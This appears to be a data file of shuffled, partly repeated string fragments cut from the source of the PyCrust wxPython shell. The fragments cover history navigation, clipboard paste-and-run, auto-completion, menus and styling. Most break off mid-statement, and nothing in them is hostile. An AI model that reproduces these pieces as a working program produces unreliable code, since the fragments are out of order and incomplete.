"wxTheClipboard.Open(): try: if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText()",
"def insertLineBreak(self): \"\"\"Insert a new line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more = 1",
"# Temporary hack indentation. self.EnsureCaretVisible() self.ScrollToColumn(0) def readline(self): \"\"\"Replacement for stdin.readline().\"\"\" input =",
"Shift+End Select to the end of the line. End Go to the end",
"using Enthought open source! # # Author: Enthought, Inc. # Description: <Enthought util",
"preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0)",
"wrap(self, wrap=1): \"\"\"Sets whether text is word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return",
"succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd() >=",
"(Type a few characters of a previous command and then press F9.) \"\"\"",
"# quit so we should just post the event and let the surrounding",
"(controlDown and key in (ord('X'), ord('x'))) \\ or (shiftDown and key == WXK_DELETE):",
"print(text) def insertLineBreak(self): \"\"\"Insert a new line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more =",
"contains a command (even an invalid one). if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand()",
"curpos - self.GetColumn(curpos) # In case there isn't enough room, only go back",
"Don't allow line transposition. elif controlDown and key in (ord('T'), ord('t')): pass #",
"= self.GetCurrentPos() self.replaceFromHistory(step) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up the",
"0 def OnHistoryReplace(self, step): \"\"\"Replace with the previous/next command from the history buffer.\"\"\"",
"== -1: self.BraceBadLight(braceAtCaret) else: self.BraceHighlight(braceAtCaret, braceOpposite) def OnChar(self, event): \"\"\"Keypress event handler. Only",
"= reader.input finally: reader.input = '' reader.isreading = 0 return input def raw_input(self,",
"os.curdir) # Import a default interpreter class if one isn't provided. if InterpClass",
"if command[:n] == prefix and command not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches)",
"step if -1 <= newindex <= len(history): self.historyIndex = newindex if 0 <=",
"wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and place it on the",
"= command.rstrip() command = self.fixLineEndings(command) command = self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2,",
"= [] for item in self.history: item = item.replace( '\\n', '\\\\n' ) if",
"window is up let it do its thing. elif self.AutoCompActive(): event.Skip() # Let",
"normally. elif controlDown and altDown: event.Skip() # Clear the current, unexecuted command. elif",
"the shell. elif not self.CanEdit(): pass else: event.Skip() def clearCommand(self): \"\"\"Delete the current,",
"interpreter for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more = self.interp.push(command) del busy if",
"XXX Good enough for now but later we want to send a close",
"= 1 self.AutoCompSetIgnoreCase(self.autoCompleteCaseInsensitive) self.AutoCompSetSeparator(ord('\\n')) # Do we want to automatically pop up command",
"command[:6] == 'shell.': # Run shell methods silently. self.run(command, prompt=0, verbose=0) else: self.run(command,",
"self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble = event.IsChecked() def OnCallTipsShow(self, event): self.shell.autoCallTip",
"\\ 'Include attributes visible to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores',",
"history is None: history = self.history newindex = self.historyIndex + step if -1",
"text.replace(os.linesep + sys.ps1, '\\n') text = text.replace(os.linesep + sys.ps2, '\\n') text = text.replace(os.linesep,",
"'Select all text') m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show Auto Completion', \\",
"command.rstrip() command = command.replace('\\n', os.linesep + sys.ps2) else: command = '' if rstrip:",
"string. \"\"\" import six.moves.builtins six.moves.builtins.close = six.moves.builtins.exit = six.moves.builtins.quit = \\ 'Click on",
"new line break.\"\"\" if self.CanEdit(): self.write(os.linesep) self.more = 1 self.prompt() def processLine(self): \"\"\"Process",
"can override anything they want. try: self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): # del",
"= wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC =",
"return def PasteAndRun(self): \"\"\"Replace selection with clipboard contents, run commands.\"\"\" if wxTheClipboard.Open(): if",
"ID_FILLING_SHOW_DICT, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DOC, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_MODULE, self.OnUpdateMenu) def OnExit(self, event): self.Close(True) def",
"def pause(self): \"\"\"Halt execution pending a response from the user.\"\"\" self.ask('Press enter to",
"is based on wxPython's wxStyledTextCtrl. The latest files are always available at the",
"tree.autoUpdate = event.IsChecked() tree.if_autoUpdate() def OnFillingShowMethods(self, event): tree = self.crust.filling.fillingTree tree.showMethods = event.IsChecked()",
"Key bindings: Home Go to the beginning of the command or line. Shift+Home",
"History item. Alt+P Retrieve Previous History item. Ctrl+Down Arrow Retrieve Next History item.",
"# Usually the dot (period) key activates auto completion. # Get the command",
"size, typeface and color for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces)",
"and line.lstrip() == line: # New command. if command: # Add the previous",
"= None # Add the current working directory \".\" to the search path.",
"command in commands: command = command.replace('\\n', os.linesep + sys.ps2) self.write(command) self.processLine() wxTheClipboard.Close() def",
"The latest files are always available at the SourceForge project page at http://sourceforge.net/projects/pycrust/.",
"was pressed: key = event.GetKey() if key == 28 or key == 1241712:",
"Add the '(' to the end of the command. self.ReplaceSelection('') command = self.GetTextRange(stoppos,",
"thepos = self.GetCurrentPos() startpos = self.promptPosEnd endpos = self.GetTextLength() # If they hit",
"attibutes prefixed by a double underscore', 1) m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW,",
"history buffer. elif (shiftDown and key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) # Search",
"event.Skip() def OnKeyDown(self, event): \"\"\"Key down event handler.\"\"\" # Prevent modification of previously",
"(self.historyIndex >= len(self.history)-2): searchOrder = list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\",
"either ps1, ps2 or ps3. If this is a continuation line, autoindent as",
"item[:len(prefix)]) and item not in items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command",
"(ord('T'), ord('t')): pass # Basic navigation keys should work anywhere. elif key in",
"previous command and then press F8.) F9 Pop-up window of matching History items.",
">>> shell.run('print \"this\"') >>> print \"this\" this >>> \"\"\" # Go to the",
"if self.CanCopy(): command = self.GetSelectedText() command = command.replace(os.linesep + sys.ps2, os.linesep) command =",
"'\\n') text = text.replace(os.linesep, '\\n') lines = text.split('\\n') commands = [] command =",
"fm.Append(ID_FILLING_SHOW_DOC, 'Show __doc__', 'Show __doc__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show",
"# Strip the prompt off the front of text leaving just the command.",
"in NAVKEYS: event.Skip() # Protect the readonly portion of the shell. elif not",
"== ID_AUTOCOMP_INCLUDE_SINGLE: event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip)",
"current selection with the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos)",
"wxMenu() m.AppendSeparator() m.Append(wxID_EXIT, 'E&xit', 'Exit PyCrust') m = self.editMenu = wxMenu() m.Append(wxID_UNDO, '&Undo",
"the history buffer. elif (shiftDown and key == WXK_DOWN) and self.CanEdit(): self.OnHistoryInsert(step=-1) #",
"if they were typed into the shell.\"\"\" file = open(filename) try: self.prompt() for",
"don't find anything. if (self.historyIndex <= -1) \\ or (self.historyIndex >= len(self.history)-2): searchOrder",
"shell.\"\"\" file = open(filename) try: self.prompt() for command in file.readlines(): if command[:6] ==",
"line: # New command. if command: # Add the previous command to the",
"b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options') b.Append(self.helpMenu, '&Help') self.SetMenuBar(b) EVT_MENU(self, wxID_EXIT, self.OnExit) EVT_MENU(self,",
"Alt+P Retrieve Previous History item. Ctrl+Down Arrow Retrieve Next History item. Alt+N Retrieve",
"def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self, event):",
"commands in file as if they were typed into the shell.\"\"\" file =",
"from clipboard. Ctrl+Up Arrow Retrieve Previous History item. Alt+P Retrieve Previous History item.",
"__doc__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__', 'Show __module__ entries",
"def OnCopy(self, event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste() def OnClear(self, event): self.shell.Clear() def",
"The license # is also available online at http://www.enthought.com/licenses/BSD.txt # Thanks for using",
"clipboard is really just a signal to grab the data # from our",
"wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)', '') try: if dialog.ShowModal() == wxID_OK: text",
"to fix bug in wxSTC for wxPython < 2.3.3. if charAfter < 0:",
"'run', 'runfile', 'wrap', 'zoom', ] for method in methods: self.__dict__[method] = getattr(other, method)",
"# Create a replacement for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading",
"keyboard events. EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self,",
"+ sys.ps2, '\\n') command = command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep + sys.ps2)",
"def zoom(self, points=0): \"\"\"Set the zoom level. This number of points is added",
"OS-specific endings.\"\"\" lines = text.split('\\r\\n') for l in range(len(lines)): chunks = lines[l].split('\\r') for",
"text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked()",
"of # the list (ie. at index 0) as they are entered. self.historyIndex",
"32 # Mimic a space. #*** styleBefore = self.GetStyleAt(caretPos - 1) # Check",
"hasattr(self.other, name): return setattr(self.other, name, value) else: raise AttributeError(name) def _getAttributeNames(self): \"\"\"Return list",
"faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_CHARACTER, \"fore:#7F007F,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\")",
"= event.KeyCode() currpos = self.GetCurrentPos() stoppos = self.promptPosEnd # Return (Enter) needs to",
"what we search for. numCharsAfterCursor = self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0) if",
"+ sys.ps2, '\\n') command = command.rstrip() command = command.replace('\\n', os.linesep + sys.ps2) else:",
"for c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks) text = os.linesep.join(lines)",
"sys.stderr = self.stderr def CanCut(self): \"\"\"Return true if text is selected and can",
"elif not self.CanEdit(): pass else: event.Skip() def clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\"",
"of wxPython prior to 2.3.2 had a sizing bug on Win platform. #",
"if wxTheClipboard.IsSupported(wxDataFormat(wxDF_TEXT)): data = wxTextDataObject() if wxTheClipboard.GetData(data): self.ReplaceSelection('') command = data.GetText() command =",
"self.more: self.promptPosEnd = self.GetCurrentPos() # Keep the undo feature from undoing previous responses.",
"of other are still accessible, even though only some are visible to the",
"and (self.GetTextRange(self.promptPosEnd, self.GetCurrentPos()) == '')): self.historyShow() else: self.insertLineBreak() # If the auto-complete window",
"points=0): \"\"\"Set the zoom level. This number of points is added to the",
"not in the history. self.history = [] self.historyIndex = -1 self.historyPrefix = 0",
"text, removing prompts. Ctrl+Shift+C Copy selected text, retaining prompts. Ctrl+X Cut selected text.",
"m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include attibutes prefixed by a single underscore', 1)",
"elif controlDown and key in (ord('L'), ord('l')): pass # Don't allow line transposition.",
"\"\"\"Insert the previous/next command from the history buffer.\"\"\" if not self.CanEdit(): return startpos",
"self.__dict__[name] = value elif hasattr(self.other, name): return setattr(self.other, name, value) else: raise AttributeError(name)",
"to insert a line break. elif controlDown and key == WXK_RETURN: if self.AutoCompActive():",
"# Replace with the previous command from the history buffer. elif (controlDown and",
"ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId() ID_FILLING_SHOW_DOC",
"if redirect: sys.stdin = self.reader else: sys.stdin = self.stdin def redirectStdout(self, redirect=1): \"\"\"If",
"= curpos - (len(name) + 1) fallback = curpos - self.GetColumn(curpos) # In",
"will go to the shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout =",
"just the command. command = self.lstripPrompt(text) if command == text: command = ''",
"the user using a dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\ 'Input Dialog",
"in (ord('L'), ord('l')): pass # Don't allow line transposition. elif controlDown and key",
"positions. self.promptPosStart = 0 self.promptPosEnd = 0 # Keep track of multi-line commands.",
"self.promptPosEnd if currpos > home: self.SetCurrentPos(home) if not selecting and not shiftDown: self.SetAnchor(home)",
"should succeed.\"\"\" if self.GetSelectionStart() != self.GetSelectionEnd(): if self.GetSelectionStart() >= self.promptPosEnd \\ and self.GetSelectionEnd()",
"self.history: if command[:n] == prefix and command not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step,",
"syntax.\"\"\" if not text: text = self.GetCurLine()[0] # Strip the prompt off the",
"an interactive text control in which a user types in commands to be",
"self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_SINGLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_AUTOCOMP_INCLUDE_DOUBLE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_CALLTIPS_SHOW, self.OnUpdateMenu) if hasattr( self,",
"from the history buffer. elif (controlDown and key == WXK_UP) \\ or (altDown",
"interpreter. This particular shell is based on wxPython's wxStyledTextCtrl. The latest files are",
"+= '\\n' command += line commands.append(command) for command in commands: command = command.replace('\\n',",
"ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif",
"# Insert the next command from the history buffer. elif (shiftDown and key",
"endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip: curpos = self.GetCurrentPos() tippos = curpos",
"key in (ord('V'), ord('v'))) \\ or (shiftDown and not controlDown and key ==",
"\\ (wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0 def CanEdit(self): \"\"\"Return",
"it's a blank # line or the same as the last command. if",
"key == WXK_BACK: if selecting and self.CanEdit(): event.Skip() elif currpos > self.promptPosEnd: event.Skip()",
"'Show Methods', 'Show methods and functions in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show",
"Python Shell.', '__version__': VERSION, } # Add the dictionary that was passed in.",
"self.SetCurrentPos(thepos) self.SetAnchor(thepos) def getMultilineCommand(self, rstrip=1): \"\"\"Extract a multi-line command from the editor. The",
"track of the last non-continuation prompt positions. self.promptPosStart = 0 self.promptPosEnd = 0",
"self.StyleSetSpec(wxSTC_P_IDENTIFIER, \"\") self.StyleSetSpec(wxSTC_P_COMMENTBLOCK, \"fore:#7F7F7F\") self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt): \"\"\"Check for",
"This simply sets \"close\", \"exit\" and \"quit\" to a helpful string. \"\"\" import",
"if key == 28 or key == 1241712: # Is there a 'name'",
"magnify or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW",
"under the terms of the BSD # license included in enthought/LICENSE.txt and may",
"] for method in methods: self.__dict__[method] = getattr(other, method) d = self.__dict__ d['other']",
"gets incremented as you # retrieve the previous command, decremented as you retrieve",
"history entries that match the command typed so far: elif key == WXK_F9:",
"unexecuted command.\"\"\" startpos = self.promptPosEnd endpos = self.GetTextLength() self.SetSelection(startpos, endpos) self.ReplaceSelection('') self.more =",
"== prefix and command not in matches: matches.append(command) self.clearCommand() self.replaceFromHistory(step, self.historyMatches) def replaceFromHistory(self,",
"default interpreter class if one isn't provided. if InterpClass == None: from PyCrust.interpreter",
"= self.GetCurrentPos() # The text up to the cursor is what we search",
"== WXK_RETURN: pass elif key in self.autoCompleteKeys: # Usually the dot (period) key",
"name): if hasattr(self.other, name): return getattr(self.other, name) else: raise AttributeError(name) def __setattr__(self, name,",
"event.Skip() # Protect the readonly portion of the shell. elif not self.CanEdit(): pass",
"upwards from the current history position and loop back # to the beginning",
"Add some autoindent magic here if more. if self.more: self.write(' '*4) # Temporary",
"'&Call Tips', self.calltipsMenu, \\ 'Call Tip Options') if hasattr( self, 'crust' ): fm",
"self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self): \"\"\"Copy selection and place",
"press F8.) F9 Pop-up window of matching History items. (Type a few characters",
"to the cursor is what we search for. numCharsAfterCursor = self.GetTextLength() - startpos",
"event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu items based on current status.\"\"\" id",
"completion options? self.autoComplete = 1 self.autoCompleteIncludeMagic = 1 self.autoCompleteIncludeSingle = 1 self.autoCompleteIncludeDouble =",
"# Grab these so they can be restored by self.redirect* methods. self.stdin =",
"def OnHistorySelected(self, event): command = event.GetText() if command.find('\\\\n') >= 0: command += '\\\\n'",
"of all fonts. It may be positive to magnify or negative to reduce.\"\"\"",
"\\ and self.GetSelectionEnd() >= self.promptPosEnd: return 1 else: return 0 def CanCopy(self): \"\"\"Return",
"'Show __doc__', 'Show __doc__ entries in the tree view', 1) fm.Append(ID_FILLING_SHOW_MODULE, 'Show __module__',",
"evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret = -1 braceOpposite = -1 charBefore =",
"self.GetCurrentPos() self.SetSelection(endpos, startpos) def OnHistorySearch(self): \"\"\"Search up the history buffer for the text",
"# Go to the very bottom of the text. endpos = self.GetTextLength() self.SetCurrentPos(endpos)",
"filename): \"\"\"Execute all commands in file as if they were typed into the",
"def OnUndo(self, event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def OnCut(self, event): self.shell.Cut() def",
"wxNewId() ID_FILLING_AUTO_UPDATE = wxNewId() ID_FILLING_SHOW_METHODS = wxNewId() ID_FILLING_SHOW_CLASS = wxNewId() ID_FILLING_SHOW_DICT = wxNewId()",
"selection that includes text prior to the prompt. # # Don't modify a",
"event): self.shell.Undo() def OnRedo(self, event): self.shell.Redo() def OnCut(self, event): self.shell.Cut() def OnCopy(self, event):",
"wxPython's wxStyledTextCtrl. The latest files are always available at the SourceForge project page",
"if charBefore < 0: charBefore = 32 # Mimic a space. #*** styleBefore",
"close event. # In the close event handler we can make sure they",
"clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText() data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close()",
"AttributeError: pass def showIntro(self, text=''): \"\"\"Display introductory text in the shell.\"\"\" if text:",
"0 def CanCopy(self): \"\"\"Return true if text is selected and can be copied.\"\"\"",
"Create a replacement for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input = '' self.reader.isreading =",
"\"\"\"Configure shell based on user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, '",
"\"\"\"Copy selection, including prompts, and place it on the clipboard.\"\"\" if self.CanCopy(): command",
"PseudoFileErr from wx.py.version import VERSION # local imports from .drag_and_drop import PythonObject from",
"self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def OnFillingShowDict(self, event): tree = self.crust.filling.fillingTree tree.showDict =",
"from the user.\"\"\" self.ask('Press enter to continue:') def clear(self): \"\"\"Delete all text from",
"items: items.append(item) self.UserListShow(1, '\\n'.join(items)) def OnHistorySelected(self, event): command = event.GetText() if command.find('\\\\n') >=",
"'Lucida Console', 'other' : 'Comic Sans MS', 'size' : 10, 'lnsize' : 9,",
"self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_METHODS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_CLASS, self.OnUpdateMenu) EVT_UPDATE_UI(self, ID_FILLING_SHOW_DICT, self.OnUpdateMenu)",
"command = '\\n'.join(lines) if self.reader.isreading: if not command: # Match the behavior of",
"but it works. text = self.GetCurLine()[0] line = self.GetCurrentLine() while text[:ps2size] == ps2",
"locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos,",
"len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # Strip the prompt off the",
"searchText: return # Search upwards from the current history position and loop back",
"wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def CopyWithPrompts(self): \"\"\"Copy selection, including prompts, and place it on",
"text[:ps2size] == ps2: text = text[ps2size:] return text def push(self, command): \"\"\"Send command",
"search path. sys.path.insert(0, os.curdir) # Import a default interpreter class if one isn't",
"pass # Basic navigation keys should work anywhere. elif key in NAVKEYS: event.Skip()",
"signal to grab the data # from our singleton clipboard instance data =",
"Attributes', \\ 'Include attributes visible to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single",
"from the clipboard, run commands. elif controlDown and shiftDown \\ and key in",
"+ \\ 'Python Version: %s\\n' % sys.version.split()[0] + \\ 'wxPython Version: %s\\n' %",
"dialog = wxMessageDialog(self, text, title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event):",
"self.AutoCompActive(): event.Skip() return if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is used to",
"verbose=1) finally: file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\" list = self.interp.getAutoCompleteList(command,",
"if name in self.__dict__: self.__dict__[name] = value elif hasattr(self.other, name): return setattr(self.other, name,",
"using a dialog box.\"\"\" dialog = wxTextEntryDialog(None, prompt, \\ 'Input Dialog (Raw)', '')",
"clipboard. Ctrl+Shift+V Paste and run multiple commands from clipboard. Ctrl+Up Arrow Retrieve Previous",
"tree = self.crust.filling.fillingTree tree.showModule = event.IsChecked() tree.update() def OnUpdateMenu(self, event): \"\"\"Update menu items",
"attributes visible to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE, 'Include Single Underscores', \\ 'Include",
"# Show all history entries that match the command typed so far: elif",
"note that the presence of a PythonObject on the # clipboard is really",
"the beginning of the command or line. Shift+Home Select to the beginning of",
"run(self, command, prompt=1, verbose=1): \"\"\"Execute command within the shell as if it was",
"id == wxID_REDO: event.Enable(self.shell.CanRedo()) elif id == wxID_CUT: event.Enable(self.shell.CanCut()) elif id == wxID_COPY:",
"'Input Dialog (Raw)', '') try: if dialog.ShowModal() == wxID_OK: text = dialog.GetValue() return",
"# If the line contains a command (even an invalid one). if self.getCommand(rstrip=0):",
"(wxStyledTextCtrl.CanPaste(self) or \\ wxTheClipboard.IsSupported(PythonObject)): return 1 else: return 0 def CanEdit(self): \"\"\"Return true",
"up command argument help? self.autoCallTip = 1 self.CallTipSetBackground(wxColour(255, 255, 232)) self.wrap() try: self.SetEndAtLastLine(false)",
"wx.py.version import VERSION # local imports from .drag_and_drop import PythonObject from .drag_and_drop import",
"self.GetCurrentPos() startpos = self.promptPosEnd endpos = self.GetTextLength() # If they hit RETURN inside",
"self.CanEdit(): event.Skip() elif key == WXK_TAB: if self.CanEdit() and not self.topLevelComplete(): event.Skip() #",
"this last so the user has complete control over their # environment. They",
"from the shell.\"\"\" if redirect: sys.stdin = self.reader else: sys.stdin = self.stdin def",
"'PyCrust Shell' revision = __revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN,",
"line = self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size line += 1 self.GotoLine(line)",
"m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text') m = self.autocompMenu = wxMenu() m.Append(ID_AUTOCOMP_SHOW, 'Show",
"allow these keys after the latest prompt. elif key == WXK_DELETE: if self.CanEdit():",
"decide what it wants to do. self.write('Click on the close button to leave",
"= self.GetSelectedText() command = command.replace(os.linesep + sys.ps2, os.linesep) command = command.replace(os.linesep + sys.ps1,",
"self.GetSelectionEnd() def CanPaste(self): \"\"\"Return true if a paste should succeed.\"\"\" if self.CanEdit() and",
"WXK_RETURN: pass elif key in self.autoCompleteKeys: # Usually the dot (period) key activates",
"unless it's a blank # line or the same as the last command.",
"interesting, like write to a status bar. print(text) def insertLineBreak(self): \"\"\"Insert a new",
"redirect=1): \"\"\"If redirect is true then sys.stderr will go to the shell.\"\"\" if",
") if (prefix == item[:len(prefix)]) and item not in items: items.append(item) self.UserListShow(1, '\\n'.join(items))",
"= open(filename) try: self.prompt() for command in file.readlines(): if command[:6] == 'shell.': #",
"**kwds): \"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size, style) #",
"user preferences.\"\"\" self.SetMarginType(1, wxSTC_MARGIN_NUMBER) self.SetMarginWidth(1, 40) self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4)",
"# Ctrl+Return (Cntrl+Enter) is used to insert a line break. elif controlDown and",
"color for lexer.\"\"\" # Default style self.StyleSetSpec(wxSTC_STYLE_DEFAULT, \"face:%(mono)s,size:%(size)d,back:%(backcol)s\" % faces) self.StyleClearAll() # Built",
"__init__(self, parent, id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args, **kwds):",
"self.history = [] self.historyIndex = -1 self.historyPrefix = 0 # Assign handlers for",
"event.KeyCode() currpos = self.GetCurrentPos() stoppos = self.promptPosEnd # Return (Enter) needs to be",
"= ['autoCallTip', 'autoComplete', 'autoCompleteCaseInsensitive', 'autoCompleteIncludeDouble', 'autoCompleteIncludeMagic', 'autoCompleteIncludeSingle', ] list.sort() return list class Shell(wxStyledTextCtrl):",
"os.linesep + sys.ps2) self.write(command) if wxTheClipboard.IsSupported(PythonObject) and \\ self.python_obj_paste_handler is not None: #",
"the history. self.history = [] self.historyIndex = -1 self.historyPrefix = 0 # Assign",
"0: charAfter = 32 # Mimic a space. #*** styleAfter = self.GetStyleAt(caretPos) if",
"1) fallback = curpos - self.GetColumn(curpos) # In case there isn't enough room,",
"the shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout def redirectStderr(self,",
"EVT_MENU(self, wxID_UNDO, self.OnUndo) EVT_MENU(self, wxID_REDO, self.OnRedo) EVT_MENU(self, wxID_CUT, self.OnCut) EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self,",
"event.IsChecked() tree.update() def OnFillingShowDoc(self, event): tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def",
"= self.helpMenu = wxMenu() m.AppendSeparator() m.Append(wxID_ABOUT, '&About...', 'About PyCrust') b = self.menuBar =",
"we search for. numCharsAfterCursor = self.GetTextLength() - startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor",
"the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last undone action') m.AppendSeparator() m.Append(wxID_CUT,",
"if not command: # Match the behavior of the standard Python shell when",
"most likely be replaced by the enclosing app # to do something more",
"Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_COMMENTLINE, \"fore:#007F00,face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_P_NUMBER, \"\") self.StyleSetSpec(wxSTC_P_STRING,",
"self.SetLexer(wxSTC_LEX_PYTHON) self.SetKeyWords(0, ' '.join(keyword.kwlist)) self.setStyles(faces) self.SetViewWhiteSpace(0) self.SetTabWidth(4) self.SetUseTabs(0) # Do we want to",
